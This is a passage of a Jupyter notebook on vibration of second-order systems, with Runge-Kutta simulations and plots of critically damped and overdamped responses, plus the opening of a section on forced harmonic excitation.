J+XnY8ZYuIR8muEO3XK2VfAxyQ\n5sLPBd4o6eySYypNRNyf/nwI+BnZ9PqgqlwEVl5sJmldsovNLio5JqsASQLOAOZHxCllx1MWSaMk\nbZqeP4fsm+puKjeqckTEZyNiTERsDbwLuDoi3lt2XGWQtIGkjdLz5wJvARqeVVjZIhART5NdTXw5\nMB84rx/P/hgg6VzgOuClkhZL6ucL614LHAq8IZ0Cd5OkSWUHVYIXAlennsAc4OKI+HXJMVVFP08n\nbw7Mrvl38cuIuKLR4MqeImpmZsWr7JGAmZkVz0XAzKyPuQiYmfUxFwEzsz7mImBm1sdcBMzM+piL\ngNkakrSJpI+UHYfZcLgImK25kcARZQdhNhwuAmZr7kRgm3TF8tfKDsZsTfiKYbM1JGkrskvy+/pL\nfqy7+UjAbM35lsXW9VwEzMz6mIuA2Zp7HNio7CDMhsNFwGwNRcQjwLWS5rkxbN3KjWEzsz7mIwEz\nsz7mImBm1sdcBMzM+piLgJlZH3MRMDPrYy4CZmZ9zEXAzKyPuQiYmfWx/wUl9lxP0Ka4egAAAABJ\nRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x10f35e810>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "x, Y = rungekutta(natural(wn, qsi=1), y0, tf=5, h=.01)\n", "plt.plot(x, Y[:,0])\n", "plt.title('Critically damped System')\n", "plt.xlabel('t')\n", "plt.ylabel('y(t)')\n", "plt.grid()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The System rapidly converges to 0." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Overdamped System\n", "A System is called overdamped when $\\xi > 1$\n", "\n", "In this case the transfer function, $G(s)$, has two distinct real poles with multiplicity 1. Again, the System natural response will not be harmonic, since the solution of the differential equation will be a linear combination of two exponential real functions. Observing the form of the poles %s_1% and %s_2%, both are the sum of two real numbers being one of them common. \n", "\n", "The analytical solution will be of the form:\n", "\n", "$$y(t)=e^{-ξw_n t}(C_1 e^{w_n \\sqrt{ξ^2-1} t}+C_2 e^{-w_n \\sqrt{ξ^2-1} t} )$$\n", "\n", "and the constants are evaluated from the initial conditions:\n", "\n", "$$C_1=\\frac{y(0) w_n (ξ+\\sqrt{ξ^2-1})+y'(0)}{2w_n \\sqrt{ξ^2-1}}$$\n", "\n", "$$C_2=\\frac{-y(0) w_n (ξ+\\sqrt{ξ^2-1})-y'(0)}{2w_n \\sqrt{ξ^2-1}}$$ \n", "\n", "For $\\xi=2$ the numerical solution was:" ] }, { "cell_type": "code", "execution_count": 28, "metadata": { "collapsed": false, "scrolled": true }, "outputs": [ { "data": { "image/png": "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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x10fab4950>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "x, Y = rungekutta(natural(wn, qsi=2), y0, tf=5, h=.01)\n", "plt.plot(x, Y[:,0])\n", "plt.title('Overdamped System')\n", "plt.xlabel('t')\n", "plt.ylabel('y(t)')\n", "plt.grid()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This System converges to 0 but it takes longer to do so." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# System response to a permanent harmonic input\n", "\n", "We will now focus on the behaviour of the System in the presence of a disturbance. This can be done analytically by studying:\n", "\n", "$$y''(t)+2 \\xi w_n y'(t)+w_n^2 y(t)=F(t)$$\n", "\n", "This can be done analytically by adding to the general solution of the homogeneous equation a particular solution of the complete equation:\n", "\n", "$$y(t) = y_h(t) + y_p(t)$$\n", "\n", "The type of disturbance applied can be divided into the following:\n", "\n", "- Harmonic - The applied disturbance is given by a sinusoidal function\n", "- Periodic - The applied disturbance is given by a fourier series\n", "- Transient - Any other type of disturbance\n", "\n", "While the harmonic and periodic Systems can be solved analytically or approximated using series, transient Systems may only be solved using convolution of the integrals, Laplace transforms or numeric integration.\n", "\n", "The sinusoidal input we are going to consider is of the form $F(t)=f cos(wt)$, where $f$ and $w$ are, respectively, the amplitude and the frequency of the permanent exterior harmonic excitation.\n", "\n", "We will considered the undamped System ($\\xi=0$), and $f=30$ in order to study the System response to different values of the harmonic excitation input frequency, $w$.\n", "\n", "For numerical integration purposes, we define a `forced` builder function with parameters $w_n$, $\\xi$ and `f` as a multiplier for the `force` argument which takes a `lambda function` as follows:" ] }, { "cell_type": "code", "execution_count": 29, "metadata": { "collapsed": false }, "outputs": [], "source": [ "def forced(wn, qsi, f=30, force=lambda x: 1): \n", " n = natural(wn, qsi)\n", " return lambda x,y: np.array([\n", " n(x,y)[0],\n", " n(x,y)[1] + f * force(x),\n", " ])" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This `force` function is added to the second member of the last equation, in the first order System of ODEs defined in (2).\n", "\n", "We can now study the System response to different values of $w$.\n", "First was considered $ w = \\frac{5\\pi}{6} < w_n = 2 \\pi$.\n", "\n", "During the lectures on Dynamic Systems, the influence of $w$ was studied using bode plots." ] }, { "cell_type": "code", "execution_count": 30, "metadata": { "collapsed": false, "scrolled": true }, "outputs": [ { "data": { "image/png": 